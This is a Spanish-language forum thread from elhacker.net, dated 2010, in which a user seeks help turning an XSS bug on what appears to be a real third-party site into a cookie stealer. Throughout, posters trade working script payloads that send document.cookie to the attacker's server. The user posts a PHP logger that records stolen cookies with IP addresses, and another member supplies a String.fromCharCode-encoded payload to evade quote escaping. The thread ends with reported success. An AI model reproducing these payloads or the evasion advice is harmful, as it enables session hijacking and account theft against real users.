Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: [{O_o}] en 10 Febrero 2010, 17:15 pm



Título: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 17:15 pm
Encontre un bug de xss en una pagina web al poner  "><scritp>alert(document.cookie)</script> me da la cookie perfectamente pero al hacer esto

"><scritp>window.location="http://mysite.us/c.php?cookie="+document.cookie;</script>

no me caputara la cookie ya intente mandar solo a la web y lo hace perfectamente el problema esta parece que no me concatena el document.cookie alguna ayuda!!!


Título: Re: XSS Help!!!
Publicado por: tragantras en 10 Febrero 2010, 17:20 pm
esto va en nivel web... XD
prueba con document.location en lugar de window.location


pD: de javascript no tengo demasiada idea pero es lo k e visto @ google :/


un saludo!


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 17:27 pm
De hecho si pido disculpa no me di cuenta por ponertlo aqui.

"><script>document.location="http://mysite.us/c.php?cookie="+ document.cookie;</script>

ya tambien lo e tratado y nada.


Título: Re: XSS Help!!!
Publicado por: Shell Root en 10 Febrero 2010, 19:06 pm
En el primer codigo, no te funko porque pusiste
Código:
"><scritp>....
y es
Código:
"><script>....
xD, ahora en el segundo codigo, intentad ponerlo bajo comillas simples y no dobles


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 19:12 pm
Shell Root

"><script>document.location='http://mysite.us/c.php?cookie='+ document.cookie;</script>

Tampoco funciono!! no me manda al link es como que no concatena la intruccion del javascript es decir al poner esto en address bar

http://url_victima.com/empty_personal.phtml?r="><script>window.location='http://myweb.com/c.php?cookie='+document.cookie;</script>

no me manda a la pagina web del javascript a donde esta el cookie stealer pero si le quito la concatanacion es decir  
URL + document.cookie;

http://url_victima.com/empty_personal.phtml?r="><script>window.location='http://myweb.com/c.php?cookie=';</script>

funciona entoces el problema esta en el + document.cookie; que no me concatena.


Título: Re: XSS Help!!!
Publicado por: Castg! en 10 Febrero 2010, 21:24 pm
que raro  :-\, nose, proba con self.location


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 21:47 pm
http://vitima.com/01109417885/empty_personal.phtml?r="><script>selft.location='http://mypage.com/c.php?cookie='+document.cookie;</script>

Nada no funciona y sigue pasando lo mismo si le quito el + document.cookie funciona normal.


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 22:09 pm
Haber, muestra lo siguiente:

El codigo php para guardar el archivo de texto con las cookie.
Muestra los permiso del archivo php y los permiso de la carpeta donde esta este.
Muestra una captura aver si el XSS funciona correctamente.


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 22:25 pm
Ps bueno ya tengo la solución, estaba probando lo y lo solucione con la función String.fromCharCode() de javascript. ok bueno mira.

Primero vamos encodear el codigo javascript a ASCII , que sera este:
Código:
<script>window.location="http://www.google.com";</script>
Ahora sera:
Código:
60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109, 34, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62

Entonce la XSS quedara asi
Código:
"><script>document.write(String.fromCharCode(
60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 103, 111, 111, 103, 108, 101, 46, 99, 111, 109, 34, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62))</script>

Solo ponerlo en el navegador y te redireccionara a google, puedes usar esta herramienta online para que encodes tu codigo a ASCII:
Herramienta (http://jdstiles.com/java/cct.html)

Saludos espero que funcione.


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 22:38 pm
Esa parte funciona correctamente la parte que no me funciona es al agregarle el + document.cookie; al javascript voy intentar con el encode.


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 22:49 pm
chmod 777 c.php
PHP SCRIPT:

<?php
$cookie = urldecode($_GET['c']);
$fp = fopen("log.txt", "a");
$cookie = $cookie . ": ".$_SERVER['REMOTE_ADDR']." at ".date("r",time())."\n";
fwrite($fp, "$cookie \n");
fclose($fp);
header("Location: http://google.com ");
?>

XSS BUG URL:

http://victima.com?r="><script>selft.location='http://url.com/c.php?c='+document.cookie;</script>

LOG.TXT:

pero si pongo

http://victima?r="><script>selft.location='http://url.com/c.php?c=';</script>

LOG.TXT:
: x.x.x.x at Wed, 10 Feb 2010 10:56:34 -0400

Gracias!



Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 22:59 pm
Tio hacerlo con el String.fromCharCode() y veras que funcionara y cuentas.


Título: Re: XSS Help!!!
Publicado por: Castg! en 10 Febrero 2010, 23:00 pm
no creo q te convenga poner la url original.. :S cambiala por **** ;)


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 23:02 pm
Solo la puse asi para que ustedes trataran!!!


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 23:05 pm
Tranquilo man, anda y usa String.fromCharCode(), aveces es mejor que pongas la url.


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 23:09 pm
No funciona tio

con el code tratat de agregarle el + document.cookie; al ejemplo que me diste a ver si te junciona.

Gracias


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 23:14 pm
No te lo puedo agregar correctamente porque no se la direccion de tu web, pon lo que pusistee y miro que hiziste mal


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 23:16 pm
"><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 105, 109, 117, 115, 97, 46, 117, 115, 47, 99, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 115, 99, 114, 105, 112, 116, 62))</script>


esto fue lo que puse y no salio nada


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 23:38 pm
Bueno este debe funcionar:
Código:
"><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 34, 104, 116, 116, 112, 58, 47, 47, 105, 109, 117, 115, 97, 46, 117, 115, 47, 99, 46, 112, 104, 112, 63, 99, 61, 34, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62))</script>


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 10 Febrero 2010, 23:49 pm
Ya mucha gracias lo hice con unicode para la url y me funciono perfectamente jijiji


Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 10 Febrero 2010, 23:59 pm
Ok, no pasa nada, pero yo creo que se porque no podias hacerlo, ps pueda ser que el servidor tuviera On las magic quotes gpc (http://www.php-es.com/ref.info.html#ini.magic-quotes-gpc) que te escapaba las comillas dobles y simples por barras invertidas, siempre trata de ver el codigo de fuente y mira que pasa con lo que vas inyectando.


Título: Re: XSS Help!!!
Publicado por: [{O_o}] en 11 Febrero 2010, 00:26 am
yo lo prove concatenando el la url + el cookie
de este manera

"miurl.com"+document.cookie;
y despues probe

"miurl.com"%2bdocument.cookie; y asi si funciona!
es por el magic quote. gracias no mantenemos en conctato!



Título: Re: XSS Help!!!
Publicado por: ~ Yoya ~ en 11 Febrero 2010, 00:31 am
Bueno tambien, eso se llama url encoding, pero si alguna vez en cuentra otro XSS y no te funciona encodear la url por, ps te toca usar String.fromCharCode()